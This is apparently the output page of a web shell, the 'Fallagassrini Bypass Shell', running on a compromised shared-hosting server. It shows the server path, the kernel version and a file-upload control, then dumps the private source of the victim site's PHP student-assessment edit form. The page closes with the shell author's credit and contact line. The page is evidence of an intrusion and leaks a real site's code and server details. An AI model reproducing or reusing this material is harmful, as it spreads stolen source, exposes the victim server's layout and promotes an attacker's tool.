? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/student/edit_assessment.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script>
    function remove_student_file(index){
        if (confirm("Are you sure you want to delete"))
            $("#rem_file_"+index).remove();     
        
    }
</script>
<link href="<?= base_url() ?>assets/css/uploadfilemulti.css" rel="stylesheet">
<script src="<?= base_url() ?>assets/js/jquery-1.8.0.min.js"></script>
<script src="<?= base_url() ?>assets/js/jquery.fileuploadmulti.min.js"></script>

<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_assessment','view_assessment','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating Assessment evaluation/Exam</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
$class_name = $this->mastermodel->getdatas('class_name', 'class_name_id');
$class_details = $this->mastermodel->get_data_srow('class_name', $viewinfo->class_name_id, 'class_name_id');
?>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open_multipart('student/add_assessment/update_assessment/view_assessment/1', $attributes);
?>
<div class="grid_6">
    <div class="box">
        <div class="header main">Assessment evaluation/Exam  Details </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Class Name</label>
                <div class="single_page">
                    <?= $this->mastermodel->get_single_field_value('class_name', 'class_name_code', 'class_name_id', $viewinfo->class_name_id) ?>
                </div>
            </div> 
            <div class="section _100">
                <label>Assessment</label>
                <div  class="single_page">
                    <?= $this->mastermodel->get_single_field_value('assessment_master', 'assessment_master_name', 'assessment_master_id', $viewinfo->assessment_master_id); ?>
                </div>
            </div> 
            <div class="section _100">
                <label>Assessment Date</label>
                <div  class="single_page">
                    <input name="assessment_date" id="assessment_date" type="text" disabled class="calfocus" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->assessment_date) ?>" />
                </div>
            </div>
            <div class="section _100">
                <label>Remarks </label>
                <div>
                    <textarea name="remarks" id="remarks" type="text"><?= $viewinfo->remarks ?></textarea>

                </div>
            </div>


        </div>

    </div>
</div>

<div class="grid_12">
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">  Assessment evaluation /Exam Marks Details</div>
            <div style="overflow-x:scroll;">
                <table class="table" id="stud_sub">
                    <thead id="stud_sub_head">
                        <tr>
                            <td style="text-align: center;width: 120px;height: 30px;">Sl no</td>
                            <td style="text-align: center;">Student Name</td> 
                            <td style="text-align: center;width: 120px;">Student No</td> 
                            <td style="text-align: center;width: 200px;">Gender</td> 
                            <td style="text-align: center;width: 200px;">Nationality</td> 
                            <td style="text-align: center;width: 100px;">Age</td> 
                            <td style="text-align: center;width: 200px;">Remarks</td> 
                            <td style="text-align: center;width: 400px;">Change File</td> 

                            <?php
                           $student = $this->mastermodel->get_data_joined('student_assessment_details', 'student', 'student_id', 'student_id', $viewinfo->assessment_id, 'student_assessment_id')
//                            $i = 1;
//                            foreach ($sub as $list) {
//                                $std_student = $this->mastermodel->get_std_subjects($list['id'], $viewinfo->performance_id);
//                                $subjects = $this->mastermodel->get_single_field_value('subject', 'subject_name', 'subject_id', $list['subject_id']);
//                                
                            ?>
<!--                        <input type="hidden" name="subject_//<?= $i ?>" value="<?= $list['id'] ?>"/>
                        <td style="text-align: center" colspan="2">//<?= $subjects; ?></td>-->
                            <?php
//                        $i++;
//                    }
                            ?>       
                        </tr>
                    </thead>
                    <tbody  id="stud_sub_body">

                        <?php
                        $j = 1;

                        if (sizeof($student) > 0) {
                            foreach ($student as $row) {
                                $deactivate = $this->studentmodel->check_deactivate($viewinfo->class_name_id, $row['student_id'], $this->mastermodel->convertdatenormalformat($viewinfo->assessment_date));
                                ?>
                            <script>

                                $(function(){
                                    var settings = {
                                        url: "upload.php",
                                        method: "POST",
                                        allowedTypes:"jpg,png,gif,doc,pdf,zip,doc,docx",
                                        fileName: "myfile<?= $row['student_id'] ?>",
                                        multiple: true,
                                        onSuccess:function(files,data,xhr)
                                        {
                                            $("#status<?= $row['student_id'] ?>").html("<font color='green'>Upload is success</font>");
                                        },
                                        afterUploadAll:function()
                                        {
                                            //                alert("all images uploaded!!");
                                        },
                                        onError: function(files,status,errMsg)
                                        {		
                                            $("#status<?= $row['student_id'] ?>").html("<font color='red'>Upload is Failed</font>");
                                        }
                                    }
                                    $("#mulitplefileuploader<?= $j ?>").uploadFile(settings);
                                })
                                
                            </script>
                            <tr>
                            <input type="hidden" name="student_id_<?= $j ?>" value="<?= $row['student_id'] ?>"/> 
                            <td style="text-align: center;height: 30px;"><?= $j ?></td>
                            <td><?= $row['first_name'] . " " . $row['last_name'] ?></td>
                            <td style="text-align: center"><?= $row['reg_no'] ?></td>
                            <td style="text-align: center"><?= $row['gender'] ?></td>
                            <td style="text-align: center"><?= $this->mastermodel->get_single_field_value('nationality','nationality_name','nationality_id',$row['nationality_id']) ?></td>


                            <td style="text-align: center">
                                <?php
                                /* 'yyyy-mm-dd format' */
                                $age_details = $this->mastermodel->getAgeDetails($row['dob']);
                                echo $age_details['in_words'];
                                ?></td>
                            <td style="text-align: center">
                                <textarea  style="width: 120px;height: 30px;" name="remarks_<?= $j ?>" id="remark_<?= $j ?>" type="text"><?= $row['remarks'] ?></textarea></td>
                            <td style="text-align: center"> 
                                <div id="mulitplefileuploader<?= $j ?>">Upload</div>
                                <div id="status<?= $row['student_id'] ?>"></div>
                                <div>
                                    <?php
                                    $student_files = $this->mastermodel->get_data('student_assessment_files', $row['id'], 'student_assessment_detail_id', $sortfield = "", $primary_field = '');
                                    $k = 0;
                                    foreach ($student_files as $key => $value) {
                                        ?>
                                    <p style="text-align: left" id="rem_file_<?= $row['student_id'] . '_' . $k ?>">
                                            <input type="hidden" name="file_old_<?= $row['student_id'] . '_' . $k ?>" value="<?= $value['file']; ?>"     />                                              
                                            <input type="hidden" name="title_old_<?= $row['student_id'] . '_' . $k ?>" value="<?= $value['title']; ?>"  />                                                 
                                            <a style="float: left;text-align: left;margin-right: 5px;" target="_blank" href="<?= base_url() ?>/assets/uploads/assessment/<?= $value['file'] ?>">
                                                <?php echo ($k + 1) . ')  ' ?>
                                                <?= ($value['title'] == "") ? $value['file'] : $value['title'] ?>
                                            </a><a style="cursor: pointer" title="Remove File"><img  onclick="remove_student_file('<?= $row['student_id'] . '_' . $k ?>')" src="<?= base_url() ?>assets/images/rm_file.png"/></a>
                                        </p>
                                        <br/>
                                        <?php
                                        $k++;
                                    }
                                    ?>
                                </div>

                            </td>
                            </tr>
                            <?php
                            $j++;
                        }
                        ?>
                        </tbody>

                    </table>
                </div>
            </div>
        </div>
    </div> 


    <div class="grid_12" >
        <div class="box">
            <div class="actions">
                <div class="actions-left">
                    <input type="reset" />
                    <input type="hidden" name="assessment_id" value="<?= $viewinfo->assessment_id ?>"/>
                </div>
                <div class="actions-right">
                    <button type="submit" id="submit1" class="clickimage" >Save</button>
                </div>
            </div>
        </div>
    </div>

<?php }echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net